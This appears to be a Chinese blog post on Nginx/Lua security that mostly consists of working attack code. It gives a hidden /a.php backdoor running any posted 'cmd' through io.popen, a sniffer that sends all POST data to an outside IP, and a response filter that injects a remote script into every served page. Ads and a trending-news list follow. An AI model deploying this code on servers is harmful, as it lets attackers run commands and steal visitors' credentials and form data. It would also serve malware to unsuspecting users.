浅谈Nginx Lua安全应用示例:后门/监听/挂马等
Nginx + Lua
nginx是一个用C语言开发的高性能WEB服务器及反向代理服务器,先将Nginx+Lua组合到一起的是OpenResty(类似的还有淘宝的tengine)。OpenResty通过汇聚各种设计精良的 Nginx 模块,从而将 Nginx 有效地变成一个强大的通用 Web 应用平台,在WEB应用与信息安全领域均有广泛的应用:- waf、安全代理(身份认证、敏感信息删除等)
- Backdoor 后门
- 数据监听、窃取
- 挂马
- lua代码加密及隐蔽
- 更多
Nginx lua模块指令的顺序
nginx有11个处理阶段,如下图所示:- set_by_lua*: 流程分之处理判断变量初始化
- rewrite_by_lua*: 转发、重定向、缓存等功能(例如特定请求代理到外网)
- access_by_lua*: IP准入、接口权限等情况集中处理(例如配合iptable完成简单防火墙)
- content_by_lua*: 内容生成
- header_filter_by_lua*: 应答HTTP过滤处理(例如添加头部信息)
- body_filter_by_lua*: 应答BODY过滤处理(例如完成应答内容统一成大写)
- log_by_lua*: 回话完成后本地异步完成日志记录(日志可以记录在本地,还可以同步到其他机器)
后门示例
找到conf/nginx.conf
,在server块中添加路由:
location = /a.php {
default_type 'text/plain';
content_by_lua_file lua/backdoor.lua;
}
然后创建lua/backdoor.lua
脚本,你也可以创建在任意位置,不过要对应上文的content_by_lua_file
字段:
ngx.req.read_body()
local post_args = ngx.req.get_post_args()
local cmd = post_args["cmd"]
if cmd then
f_ret = io.popen(cmd)
local ret = f_ret:read("*a")
ngx.say(string.format("%s", ret))
end
重载nginx
nginx -s reload
浏览器访问
数据监听、窃取示例
nginx实现数据监听非法方便,只要以下ngx.req.read_body()和local post_args = ngx.req.get_post_args()2行代码即可, 再利用lua-resty-http模块就可以将数据通过post的方式提交到黑阔指定的地方,测试代码如下:local http = require "resty.http"
local cjson = require("cjson")
local _M = {}
function _M.sniff()
ngx.req.read_body()
local post_args = ngx.req.get_post_args()
ngx.log(ngx.DEBUG, "data=" .. cjson.encode(post_args))
if post_args then
local httpc = http.new()
local res, err = httpc:request_uri("http://111.111.111.111/test/", {
method = "POST",
body = "data=" .. cjson.encode(post_args),
headers = {
["Content-Type"] = "application/x-www-form-urlencoded",
}
})
end
end
return _M
挂马示例
在nginx返回数据时,将网页木马插入即可,代码如下:function _M.hang_horse()
local data = ngx.arg[1] or ""
local html = string.gsub(data, "</head>", "<script src=\"http://docs.xsec.io/1.js\"></script></head>")
ngx.arg[1] = html
end
放到目标网站的/目录下后的效果如下:
location ~* ^/ {
body_filter_by_lua 'cmd.hang_horse()';
在实际的渗透测试与安全检测中,并不限于以上举的几个小例子,我们应还应把服务容器载体做为一个分支来处理。
参考
- https://www.nginx.com/resources/wiki/modules/lua/
- https://github.com/netxfly/nginx_lua_security
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 坚持依法治国、依宪执政 7994208
- 2 春节申遗成功 7900093
- 3 儿子谈琼瑶去世细节 7867392
- 4 全国铁路客运首次突破40亿人次 7758506
- 5 琼瑶遗体初步检验结果公布 7677504
- 6 两度发现遇难者遗体博主或将受罚 7509337
- 7 泰国冬阴功申遗成功 7416803
- 8 辞职后 姚明发声 7366162
- 9 外交部回应韩国戒严风波 7246056
- 10 郭晶晶刘诗诗高圆圆坐一起 7125797